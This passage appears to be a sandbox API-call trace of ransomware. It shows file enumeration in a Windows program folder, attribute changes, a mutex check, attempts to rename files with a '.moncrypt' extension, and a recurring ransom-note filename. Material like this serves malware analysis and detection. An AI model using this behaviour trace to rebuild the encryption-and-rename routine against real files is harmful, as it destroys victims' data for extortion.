cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.081] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.081] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.083] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png", cchWideChar=87, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png", lpUsedDefaultChar=0x0) returned 87 [0058.084] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Performance\\ParentMenuButtonIconSubpict.png", lpUsedDefaultChar=0x0) returned 4 [0058.084] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIconSubpict.png", cAlternateFileName="")) returned 0x54e280 [0058.084] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.084] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.084] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.084] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png", dwFileAttributes=0x20) returned 0 [0058.085] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.085] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png.moncrypt")) returned 0 [0058.085] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70053d5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70053d5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x629b, dwReserved0=0x0, dwReserved1=0x0, cFileName="performance.png", cAlternateFileName="")) returned 1 [0058.085] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.085] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.085] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.085] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.085] GlobalUnlock (hMem=0x44000c) returned 0 [0058.085] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.085] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.085] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.085] GlobalUnlock (hMem=0x44000c) returned 0 [0058.085] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.085] GlobalUnlock (hMem=0x440004) returned 0 [0058.085] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.086] CharLowerBuffW (in: lpsz="performance.png", cchLength=0xf | out: lpsz="performance.png") returned 0xf [0058.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.086] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png", cchWideChar=71, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png", lpUsedDefaultChar=0x0) returned 71 [0058.086] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Performance\\performance.png", lpUsedDefaultChar=0x0) returned 4 [0058.086] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70053d5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70053d5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x629b, dwReserved0=0x0, dwReserved1=0x0, cFileName="performance.png", cAlternateFileName="")) returned 0x54e280 [0058.087] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.087] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.087] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.087] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png", dwFileAttributes=0x20) returned 0 [0058.093] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.093] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png.moncrypt")) returned 0 [0058.094] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700a0016, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700a0016, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Mask1.png", cAlternateFileName="")) returned 1 [0058.094] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.094] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.094] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.094] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.094] GlobalUnlock (hMem=0x440004) returned 0 [0058.094] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.094] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.094] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.094] GlobalUnlock (hMem=0x440004) returned 0 [0058.094] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.094] GlobalUnlock (hMem=0x44000c) returned 0 [0058.094] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.094] CharLowerBuffW (in: lpsz="Perf_Scenes_Mask1.png", cchLength=0x15 | out: lpsz="perf_scenes_mask1.png") returned 0x15 [0058.094] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.094] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.094] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.094] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.094] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.094] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.095] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD 